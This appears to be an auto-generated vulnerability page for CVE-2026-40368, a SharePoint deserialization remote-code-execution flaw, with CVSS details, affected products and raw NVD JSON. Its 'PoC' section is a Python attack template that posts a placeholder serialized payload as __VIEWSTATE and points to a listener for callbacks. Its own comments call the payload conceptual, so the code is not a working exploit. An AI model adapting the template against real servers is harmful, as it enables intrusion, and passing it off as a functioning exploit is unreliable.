Security Vulnerability Report
中文
CVE-2026-40368 CVSS 8.0 HIGH

CVE-2026-40368

Published: 2026-05-12 18:17:16
Last Modified: 2026-05-13 20:52:07

Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft Office SharePoint (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # Target URL (Placeholder) target_url = "https://sharepoint-target/vulnerable_endpoint" # Conceptual Payload for Deserialization Attack # In a real scenario, this would be a serialized .NET object (e.g., ObjectDataProvider, TextFormattingRunProperties) # encoded in base64 or specific SharePoint format. # Example structure: # gadget_chain = generate_gadget('cmd.exe', '/c whoami') # payload_bytes = serialize(gadget_chain) # Placeholder for the actual malicious byte stream malicious_payload = b"AAEAAAD/////AQAAAAAAAAAMAgAAAE1TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0BAAAAAA0IAAAABlN5c3RlbS5TdHJpbmcAAAAAAAAAAABgMAAAACg==" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "SESSIONID=attacker_session_id" } # Sending the payload data = { "__VIEWSTATE": base64.b64encode(malicious_payload).decode('utf-8'), "__EVENTVALIDATION": "/wEdAASv..." } try: response = requests.post(target_url, data=data, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check your listener for callbacks.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40368", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:15.900", "lastModified": "2026-05-13T20:52:06.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20280", "matchCriteriaId": "E9919927-DE08-4AE4-B9F6-2A83117EE14A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}